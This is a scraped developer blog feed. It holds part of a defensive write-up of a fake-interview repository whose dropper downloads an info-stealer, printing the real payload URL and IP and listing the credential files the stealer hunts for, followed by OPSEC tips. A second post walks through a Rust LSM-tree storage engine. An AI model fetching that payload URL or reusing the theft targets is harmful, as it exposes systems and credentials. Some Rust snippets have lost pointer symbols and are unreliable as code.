the real malware from a remote server, execute it, and cover its tracks.</p> First, it uses set -e</code> to make sure the script exits immediately if any command fails. This prevents it from throwing obvious error messages on the screen that might make a developer suspicious. It also prints "Authenticated" right at the start. That is a psychological trick. If you happened to see your terminal flash for a second, you would just assume a normal Git login process had just finished.</p> Then there are the clear</code> commands. The attacker placed a clear</code> between almost every single line of code. This is a crude but highly effective way to keep the terminal totally blank while the script works in the background.</p> Next, it downloads the Stage 2 payload from a hardcoded IP address (165.140.86.190) directly into my Documents folder. Notice how it saves the file as tokenlinux.npl</code> first, and then renames it to tokenlinux.sh</code>. The .npl</code> extension is totally fake. Attackers do this to sneak the payload past basic network firewalls or antivirus software that automatically flag and block .sh</code> file downloads.</p> Finally, we get to the actual execution phase. It uses nohup bash</code> combined with the &</code> operator at the very end. This completely detaches the malware from the terminal session. Even if you close your editor or kill the visible terminal window, the script just keeps running in the background. It also pipes all output to /dev/null 2>&1</code>, throwing any logs or system errors into a black hole so you never see them.</p> The Sophistication</h2> The bash script itself was clever, but the real infrastructure was exposed in the download URL.</p> Look closely at the link they used to fetch the Stage 2 payload: http://165.140.86.190:3000/task/tokenlinux?token=...&st=eyJhbG...</code></p> That massive string of random looking characters at the end is a JSON Web Token. I decided to run it through a base64 decoder to see what kind of data the attacker was passing to their server.</p> Here is what the decoded payload looked like:</p> {</span></span> "</span>ip</span>": "</span>::ffff:152.59.167.38</span>",</span></span> "</span>sessionId</span>": "</span>39565914-c87f-4de0-a515-6d02bcb629f6</span>",</span></span> "</span>step</span>":</span> 1</span>,</span></span> "</span>timestamp</span>":</span> 1777458850483</span>,</span></span> "</span>origToken</span>": "</span>40abc18736c9</span>",</span></span> "</span>iat</span>":</span> 1777458850</span>,</span></span> "</span>exp</span>":</span> 1777459030</span></span> }</span></span></code></pre> This revealed exactly how their malware infrastructure operates. They built a system designed to lock the payload to a specific IP address and set an expiration timer. The exp</code> value is a Unix timestamp that translates to April 29, 2026.</p> This is a highly advanced anti-analysis technique. Attackers do this so that if a security researcher gets their hands on the script later and tries to download the malware to study it, the server will reject the request because the token is expired or the IP does not match.</p> But here is where their own sophistication completely broke their attack chain.</p> I work from home on a standard Wi-Fi broadband connection. However, before I even started analyzing this sketchy repository, I turned on a simple VPN service. I did not want to expose my real home IP address to a potentially malicious command and control server.</p> When I looked at the IP address hardcoded into the attacker's token, I realized it was completely different from the IP address my VPN was currently broadcasting.</p> This meant their over engineered trap actually saved me. Even if I had made a mistake and accidentally executed that Stage 1 dropper, the final malware never would have reached my machine. The attacker's command and control server would have seen my incoming VPN connection, realized it did not match the IP address they baked into their token, and immediately blocked the download with a 403 Forbidden error.</p> They built a complex system to keep security researchers out, but a basic, everyday VPN habit was enough to completely break their malware deployment.</p> What Were They Actually After?</h2> This was not some random kid playing a prank. This was a highly organized and automated cyberattack. But why go through all this effort to trick a developer into running a script?</p> Because developers are incredibly high value targets.</p> If I had let the Stage 1 dropper finish its job, it would have downloaded and executed tokenlinux.sh</code>. This Stage 2 file is known in the cybersecurity world as an Info-Stealer.</p> Unlike ransomware that loudly encrypts your hard drive and demands money, an Info-Stealer is designed to be completely silent. Its only goal is to quickly recursively search your local directories for high value secrets, zip them up, and upload them to the attacker's server.</p> They are looking for very specific things. They want your ~/.ssh/</code> directory so they can steal your private keys and access your GitHub or production servers. They want your ~/.aws/credentials</code> file so they can spin up crypto mining rigs on your company's dime. They are hunting for local .env</code> files that might contain expensive AI platform API keys. They also target your browser's hidden data folders to scrape your session cookies, allowing them to bypass two-factor authentication on your web accounts. And of course, they look for local cryptocurrency wallet files.</p> The Decision to Dig Deeper</h2> At this point, I had the Stage 1 dropper and the URL for the Stage 2 payload in my hands. My initial instinct was to walk away. I am a software engineer, not a cybersecurity expert or a malware analyst. So I initially stopped my at the first stage.</p> But the puzzle was too compelling to ignore for me. So in the next day, I decided to deep dive.</p> I documented the complete technical teardown in a dedicated follow-up post: Down the Rabbit Hole: Reverse Engineering a Multi-Stage Malware Attack</a></p> Conclusion & Developer OPSEC</h2> It is incredibly frustrating to invest time and emotional energy into a job prospect, only to realize you are actively being hunted by cybercriminals. The job search is stressful enough without having to reverse engineer the technical assessments they send you.</p> But this is the new reality. Threat actors are no longer just looking for unpatched servers in production. They are actively targeting the developers who build those servers, because our local machines hold the ultimate keys: SSH keys, database credentials, and cloud architecture access.</p> If there is one thing you take away from my experience, let it be this strict set of Operational Security (OPSEC) rules for your next technical interview:</p> Zero Trust for Take Home Tests Never, ever clone an unverified repository directly onto your daily driver machine. If a company wants you to run their code, spin up an isolated environment. Use a disposable virtual machine, a Docker container, or a cloud based environment. Keep your host machine clean.</p> </li> Audit Before You Trust If you do use VS Code, pay close attention to that Workspace Trust prompt. Do not blindly click "Yes". Take two minutes to open the project in Restricted Mode or a terminal editor like I did with Helix. Audit the hidden .vscode/tasks.json file, check the package.json for malicious post install scripts, and look for anything that executes automatically.</p> </li> Scope Your Credentials If a technical assessment requires you to authenticate with your real GitHub account, never use your primary, sweeping Personal Access Token. Take the thirty seconds to generate a Fine-grained token scoped strictly to that single repository. Once the assessment is over, revoke it immediately.</p> </li> Trust Your Gut If the HR process feels disjointed, if the technical requirements make no sense for the role being tested, or if they rigidly force you to use specific tools to "verify" things that do not need verifying, stop. It is better to walk away from a weird interview than to spend weeks recovering your stolen digital identity.</p> </li> </ol> Stay paranoid out there, and happy coding.</strong></p> Building LSM-Tree Storage Engine in Rust 2026-04-15T00:00:00+00:00 I have always been fascinated by how databases actually work under the hood. We rely on them every single day. Yet the inner mechanics of how they safely store data at high speeds can feel like magic. I wanted to demystify this process for myself. I decided the absolute best way to learn was to build my own key-value storage engine from scratch. I specifically wanted to deeply understand a concept called a Log-Structured Merge Tree. Many traditional databases use a different structure called a B-Tree. Those are excellent for finding information quickly. However, they can struggle during heavy write operations because they constantly overwrite data in random physical locations. I wanted to build a system in Rust that avoids this specific bottleneck. That pure curiosity turned into my personal learning project called lsmdb. It is a simple key-value store that turns chaotic writes into extremely fast consecutive disk operations.</p> Designing the Concurrency Model</h2> The first major lesson I learned was about coordinating simultaneous actions. A storage engine has to manage incoming data and read requests all at the exact same time. If the engine stops all data traffic just to handle a single process, the entire program pauses. In software terms, this is known as lock contention</strong>. To solve this puzzle, I carefully designed the central Storage Engine</strong> coordinator. I realized I needed different synchronization tools for completely different jobs. For example, I used a strict Mutex</strong> lock for active memory operations. This guarantees a highly fair waiting line where every incoming write request gets an equal turn. On the other hand, the background disk tasks use shared references. They grab the necessary data reference and release the lock instantly. This keeps the main application running rapidly without any annoying delays.</p> src/lib.rs</code></p> </blockquote> pub</span> struct</span> StorageEngine</span> {</span></span> active_memtable</span>:</span> Arc</span><</span>Mutex</span><</span>MemTable</span>>>,</span></span> immutable_memtable</span>:</span> Arc</span><</span>Mutex</span><</span>Option</span><</span>Arc</span><</span>MemTable</span>>>>>,</span></span> wal</span>:</span> Arc</span><</span>Mutex</span><</span>Wal</span>>>,</span></span> sstables</span>:</span> Arc</span><</span>RwLock</span><</span>Vec</span><</span>Vec</span><</span>SSTableReader</span>>>>>,</span></span> manifest</span>:</span> Arc</span><</span>RwLock</span><</span>Manifest</span>>>,</span></span> memtable_capacity</span>:</span> usize</span>,</span></span> next_seq_num</span>:</span> Arc</span><</span>AtomicU64</span>>,</span></span> db_path</span>:</span> Arc</span><</span>PathBuf</span>>,</span></span> block_cache</span>:</span> BlockCache</span>,</span></span> flush_condvar</span>:</span> Arc</span><(</span>Mutex</span><</span>bool</span>>,</span> Condvar</span>)>,</span></span> }</span></span></code></pre>Taming Memory with a Custom SkipList</h2> Another fascinating challenge was handling incoming data before it ever reaches the physical disk. Every new piece of data first lands in an in-memory buffer called the MemTable</strong>. Think of this as a bustling waiting room. Standard programming approaches often allocate tiny blocks of memory for every single new record. I quickly realized this creates severe memory fragmentation and wastes valuable processing time. To fix this entirely, I built a custom probabilistic SkipList</strong>. I paired this data structure with a highly specialized Arena allocator</strong>. This allocator grabs a giant block of memory upfront. It then tightly packs new data right next to each other sequentially. Building this taught me how to achieve incredibly fast memory access while eliminating wasted overhead completely.</p> src/memtable/skiplist.rs</code></p> </blockquote> #[</span>repr</span>(</span>C</span>)]</span></span> struct</span> Node</span><</span>K</span>,</span> V</span>> {</span></span> key</span>:</span> K</span>,</span></span> value</span>:</span> V</span>,</span></span> height</span>:</span> usize</span>,</span></span> }</span></span> </span> impl</span><</span>K</span>,</span> V</span>></span> Node</span><</span>K</span>,</span> V</span>> {</span></span> #[</span>inline</span>]</span></span> fn</span> next_array_offset</span>() -></span> usize</span> {</span></span> let</span> base_size</span> =</span> std</span>::</span>mem</span>::</span>size_of</span>::<</span>Self</span>>();</span></span> let</span> align</span> =</span> std</span>::</span>mem</span>::</span>align_of</span>::<</span>AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>>();</span></span> (</span>base_size</span> +</span> align</span> -</span> 1</span>) & !(</span>align</span> -</span> 1</span>)</span></span> }</span></span> </span> fn</span> new</span>(</span>key</span>:</span> K</span>,</span> value</span>:</span> V</span>,</span> height</span>:</span> usize</span>,</span> arena</span>: &</span>Arena</span>) -> </span>mut</span> Self</span> {</span></span> let</span> offset</span> =</span> Self</span>::</span>next_array_offset</span>();</span></span> let</span> size</span> =</span> offset</span> +</span> height</span> </span> std</span>::</span>mem</span>::</span>size_of</span>::<</span>AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>>();</span></span> </span> let</span> ptr</span> =</span> arena</span>.</span>allocate</span>(</span>size</span>)</span> as</span> </span>mut</span> Self</span>;</span></span> </span> unsafe</span> {</span></span> ptr</span>::</span>write</span>(</span>ptr</span>,</span> Self</span> {</span> key</span>,</span> value</span>,</span> height</span> });</span></span> </span> let</span> next_array</span> = (</span>ptr</span> as</span> </span>mut</span> u8</span>).</span>add</span>(</span>offset</span>)</span> as</span> </span>mut</span> AtomicPtr</span><</span>Node</span><</span>K</span>,</span> V</span>>>;</span></span> for</span> i</span> in 0</span>..</span>height</span> {</span></span> ptr</span>::</span>write</span>(</span>next_array</span>.</span>add</span>(</span>i</span>),</span> AtomicPtr</span>::</span>new</span>(</span>ptr</span>::</span>null_mut</span>()));</span></span> }</span></span> }</span></span> </span> ptr</span></span> }</span></span> }</span></span></code></pre>Beating Memory Fragmentation</h2> Building the custom SkipList was only half the battle. Standard tools still fragment memory behind the scenes if you are not careful. So I designed a completely lock-free bump-pointer Arena Allocator</strong>. This strategy is like buying a massive parking garage instead of renting individual parking spaces one by one. The algorithm claims millions of bytes from the operating system instantly. It then hands out perfectly aligned pieces using a rapid atomic math calculation. It practically removed the memory allocation bottleneck entirely.</p> src/memtable/arena_allocator.rs</code></p> </blockquote> pub</span> struct</span> Arena</span> {</span></span> memory_usage</span>:</span> AtomicUsize</span>,</span></span> current_block</span>:</span> AtomicPtr</span><</span>Block</span>>,</span></span> current_block_offset</span>:</span> AtomicUsize</span>,</span></span> }</span></span></code></pre>Surviving Power Failures</h2> Buffering data in memory is incredibly fast but extremely dangerous. If the computer loses power unexpectedly, all that memory vanishes instantly. I wanted to guarantee that my engine never loses a single committed write. To solve this critical vulnerability, I implemented a Write-Ahead Log</strong> or WAL. Before a new piece of data ever touches the memory buffer, it is safely recorded in this log strictly on the hard drive. I used rigid physical block structures to maintain reliability. The log saves data in consecutive thirty-two kilobyte blocks. If the system crashes mid-write, a checksum failure alerts the recovery process to discard the corrupted chunk safely. Learning how to build this specific logging mechanism really showed me the harsh reality of physical hardware constraints.</p> src/wal.rs</code></p> </blockquote> #[</span>derive</span>(</span>Debug</span>,</span> Clone</span>,</span> Copy</span>)]</span></span> enum</span> ChunkType</span> {</span></span> Full</span> =</span> 1</span>,</span></span> First</span> =</span> 2</span>,</span></span> Middle</span> =</span> 3</span>,</span></span> Last</span> =</span> 4</span>,</span></span> }</span></span> </span> /// A fixed-width slot inside a 32 KB WAL block.</span></span> ///</span></span> /// Records that span multiple 32 KB blocks are split into First/Middle/Last chunks. This</span></span> /// lets the recovery reader reassemble records without knowing their total size upfront —</span></span> /// it reads chunks in order until it sees a `Last` (or `Full`) chunk type.</span></span> ///</span></span> /// The payload is raw serialized `Record` bytes. Keeping `Chunk` unaware of `Record`</span></span> /// structure means the chunking logic is reusable for any payload and easier to test.</span></span> struct</span> Chunk</span> {</span></span> pub</span> checksum</span>:</span> u32</span>,</span></span> pub</span> length</span>:</span> u16</span>,</span></span> pub</span> chunk_type</span>:</span> ChunkType</span>,</span></span> pub</span> payload</span>:</span> Vec</span><</span>u8</span>>,</span></span> }</span></span></code></pre>Cleaning the Logs Automatically</h2> Because every single action is safely written to the log, those files grow rapidly. I could not simply let them consume the entire hard drive forever. I built a garbage collection mechanism to handle the mess seamlessly. Once the background task successfully seals a data table onto the final disk drive, it tells the logger to permanently delete the older corresponding log files. This keeps the disk completely neat and tidy. It ensures the system only retains the exact limited history it needs to recover from a sudden crash.</p> Handling the Overflow</h2> What happens when that memory buffer fills up entirely? I needed a reliable way to move the data permanently to the disk without freezing the application. I programmed a background task that takes the full memory table and writes it out as an SSTable</strong>. This stands for Sorted String Table. However, I encountered a completely new problem. What if the incoming writes are so incredibly fast that the disk cannot keep up? To handle this overflow gracefully, I utilized a CondVar</strong> constraint. If the system cannot process the files quickly enough, it intentionally parks the incoming writes in a harmless waiting area. This creates a natural back-pressure. It forces the system to stay stable instead of throwing unpredictable or fatal errors into the console.</p> src/lib.rs</code></p> </blockquote> std</span>::</span>thread</span>::</span>spawn</span>(</span>move</span> \|\| {</span></span> if</span> let</span> Err</span>(</span>e</span>) =</span> Self</span>::</span>flush_immutable_memtable</span>(</span></span> imm_memtable_arc</span>,</span> </span></span> sstables_arc</span>,</span> </span></span> manifest_arc</span>,</span> </span></span> db_path_arc</span>,</span> </span></span> wal_arc</span></span> ) {</span></span> eprintln!</span>("</span>Background flush failed: </span>{}",</span> e</span>);</span></span> }</span></span> let</span> (</span>mutex</span>,</span> condvar</span>) = &</span>condvar_arc</span>;</span></span> let mut</span> flushing</span> =</span> mutex</span>.</span>lock</span>().</span>unwrap</span>();</span></span> </span>flushing</span> = false;</span></span> condvar</span>.</span>notify_all</span>();</span></span> });</span></span></code></pre>Filtering the Noise with Bloom Filters</h2> When I started running read operations, I noticed something highly concerning. If a user searched for a key that did not exist, the engine would waste incredible amounts of time searching through every single disk file. To save the database from these pointless disk reads, I learned about and implemented a Bloom Filter</strong>. This is a special probabilistic data structure. It uses an incredibly clever double-hashing math trick. It can instantly tell you if a key is definitely missing in just a few micro-operations. By embedding these into every file, I managed to eliminate almost ninety-nine percent of unnecessary physical disk reads.</p> src/bloom_filter.rs</code></p> </blockquote> /// Returns `false` if the key is definitely* absent. Returns `true` if it might exist.</span></span> pub fn</span> contains</span>(&</span>self</span>,</span> key</span>: &[</span>u8</span>]) -></span> bool</span> {</span></span> let</span> hash</span> =</span> Self</span>::</span>hash_key</span>(</span>key</span>);</span></span> let</span> h1</span> = (</span>hash</span> &</span> 0xFFFFFFFF</span>)</span> as</span> u32</span>;</span></span> let</span> h2</span> = (</span>hash</span> >></span> 32</span>)</span> as</span> u32</span>;</span></span> </span> let</span> m</span> =</span> self</span>.</span>bits</span>.</span>len</span>();</span></span> if</span> m</span> ==</span> 0</span> {</span></span> return</span> false;</span></span> }</span></span> </span> for</span> i</span> in 0</span>..</span>self</span>.</span>k_num_hashes </span>{</span></span> let</span> bit_idx</span> = (</span>h1</span> as</span> u64</span> + (</span>i</span> as</span> u64</span>).</span>wrapping_mul</span>(</span>h2</span> as</span> u64</span>))</span> as</span> usize</span> %</span> m</span>;</span></span> // One clear bit is enough to prove absence — no need to check the remaining hashes.</span></span> if</span> !</span>self</span>.</span>bits</span>.</span>get</span>(</span>bit_idx</span>).</span>unwrap_or</span>(false) {</span></span> return</span> false;</span></span> }</span></span> }</span></span> </span> true</span></span> }</span></span></code></pre>Merging Data with Multi-Level Compaction</h2> Because this system never overwrites data directly, old data and deleted records start piling up constantly. It is exactly like having an overflowing trash bin full of outdated drafts. I solved this by building a background compaction system. As files multiply over time, a multi-level merge kicks in automatically. It takes the oldest files and merges them together using a smart sorting technique. If it sees a deleted record, it permanently erases it and frees up the actual disk space. This guarantees that the storage size remains incredibly lean no matter how long the database runs.</p> Tracking State with the Manifest</h2> Another major technical hurdle was keeping track of all these newly created and merged files perfectly. If the power fails during a massive compaction merge, how does the system know which files are actually safe to use upon restart? I needed an absolute source of truth. I built a persistent system tracker called the Manifest</strong>. Every time a new file is born or an old file is deleted, the Manifest records a tiny delta update. When the database boots up, it reads this Manifest log like an unalterable history book. This cleanly reconstructs the state and completely prevents corrupted ghost files from destroying the data integrity.</p> src/sstable/manifest.rs</code></p> </blockquote> pub</span> struct</span> Manifest</span> {</span></span> file</span>:</span> File</span>,</span></span> }</span></span> </span> impl</span> Manifest</span> {</span></span> /// Opens the Manifest log in append mode. Creates it if it doesn't exist.</span></span> pub fn</span> open</span>(</span>path</span>:</span> impl</span> AsRef</span><</span>Path</span>>) -></span> Result</span><</span>Self</span>,</span> anyhow</span>::</span>Error</span>> {</span></span> let</span> file</span> =</span> OpenOptions</span>::</span>new</span>().</span>create</span>(true).</span>append</span>(true).</span>open</span>(</span>path</span>)?;</span></span> </span> Ok</span>(</span>Self</span> {</span> file</span> })</span></span> }</span></span> </span> /// Logs a specific state mutation (e.g. creating a Level 0 table, or merging tables to Level 1).</span></span> pub fn</span> log_edit</span>(&</span>mut</span> self</span>,</span> edit</span>: &</span>VersionEdit</span>) -></span> Result</span><(),</span> anyhow</span>::</span>Error</span>> {</span></span> let</span> bytes</span> =</span> edit</span>.</span>to_bytes</span>();</span></span> self</span>.</span>file</span>.</span>write_all</span>(&</span>bytes</span>)?;</span></span> self</span>.</span>file</span>.</span>sync_data</span>()?;</span></span> Ok</span>(())</span></span> }</span></span> }</span></span></code></pre>Speeding Up Reads with an LRU Cache</h2> As I tested the read path, I realized retrieving the same data multiple times was forcing the engine to fetch the same blocks from the disk repeatedly. This felt incredibly inefficient. To solve this, I added an in-memory block cache. I configured it to hold the most recently used blocks in prime memory space. If a previously accessed piece of data is requested again, the engine simply grabs it directly from this cache. This completely skips the heavy penalty of paging from the storage drive. It drastically improved the performance for frequently accessed data.</p> Shrinking Data with Block Compression</h2> Physical disk space is a precious resource. I wanted the engine to store as much data as humanly possible without bloating the hard drive. I integrated Snappy compression into the data block pipeline. Before any block ever reaches the disk, the engine compresses it. When reading it back, it decompresses the block instantly. I designed the file format with a special forward-compatible byte exactly for this. It tells the reader how to unpack the data seamlessly. This significantly reduced the overall disk footprint with almost zero noticeable speed penalty.</p> src/sstable/compaction.rs</code></p> </blockquote> // Reads the 1-byte compression type sentinel written by SSTableBuilder and decompresses.</span></span> // Returning None (instead of panicking) on an unknown type makes the reader forward-compatible:</span></span> // a file written by a future version of lsmdb with a new compressor can be gracefully skipped</span></span> // rather than crashing all existing readers.</span></span> fn</span> decompress_block</span>(</span>raw_block</span>: &[</span>u8</span>]) -></span> Option</span><</span>Vec</span><</span>u8</span>>> {</span></span> let</span> compression_type</span> =</span> raw_block</span>[</span>0</span>];</span></span> let</span> payload</span> = &</span>raw_block</span>[</span>1</span>..];</span></span> match</span> compression_type</span> {</span></span> t</span> if</span> t</span> ==</span> COMPRESSION_SNAPPY</span> =></span> snap</span>::</span>raw</span>::</span>Decoder</span>::</span>new</span>().</span>decompress_vec</span>(</span>payload</span>).</span>ok</span>(),</span></span> t</span> if</span> t</span> ==</span> COMPRESSION_NONE</span> =></span> Some</span>(</span>payload</span>.</span>to_vec</span>()),</span></span> _</span> =></span> None</span>,</span></span> }</span></span> }</span></span></code></pre>Squeezing Keys with Prefix Encoding</h2> While looking closely at the stored keys, I noticed another area for optimization. Many keys often share the exact same starting letters. Storing those repeated prefixes over and over seemed terribly wasteful. I implemented a prefix compression technique inside the data blocks. Each new key only stores the specific bytes that differ from the key right before it. To make sure reading through a block remains fast, I added periodic uncompressed restart points. Building this logic pushed my byte manipulation skills to the test and successfully squeezed even more data into every kilobyte.</p> Seeing It In Action</h2> Building an entire LSM-Tree from scratch was an incredibly rewarding experience. It bridged the gap between abstract computer science concepts and raw hardware reality. I learned exactly why simple sequential operations on a disk can be wonderfully fast. To make testing much easier, I also built a small interactive CLI tool. This allows anyone to manually insert and retrieve data directly. Watching the engine blaze through operations in raw microseconds is immensely satisfying. I highly encourage you to build your own mini database if you want to truly understand how data is born, moved, and securely stored.</p> use</span> lsmdb</span>::</span>StorageEngine</span>;</span></span> </span> // Open (or create) a database at the given path.</span></span> let</span> engine</span> =</span> StorageEngine</span>::</span>open</span>("</span>./my_db</span>")?;</span></span> </span> // Write</span></span> engine</span>.</span>put</span>("</span>user:42</span>", "</span>Alice</span>")?;</span></span> </span> // Read</span></span> if</span> let</span> Some</span>(</span>val</span>) =</span> engine</span>.</span>get</span>("</span>user:42</span>")? {</span></span> println!</span>("{}",</span> String</span>::</span>from_utf8_lossy</span>(&</span>val</span>));</span> // "Alice"</span></span> }</span></span> </span> // Delete (tombstone — space recovered during compaction)</span></span> engine</span>.</span>remove</span>("</span>user:42</span>")?;</span></span></code></pre>

Nrishinghananda Roy | DevOps Engineer

The Fake Interview Trap: Reverse-Engineering a Info-Stealer

Defensive Posture & Safety Recommendations</h2> As developers, our local environments are highly privileged. We must adopt a zero-trust mindset, even with interview assignments.</p>

Down the Rabbit Hole: How I Reverse Engineered a Multi-Stage Malware Attack

The Fake Interview Trap: How I Stopped Hackers from Deploying a Zero-Click Exploit

Building LSM-Tree Storage Engine in Rust

Defensive Posture & Safety Recommendations</h2>
As developers, our local environments are highly privileged. We must adopt a zero-trust mindset, even with interview assignments.</p>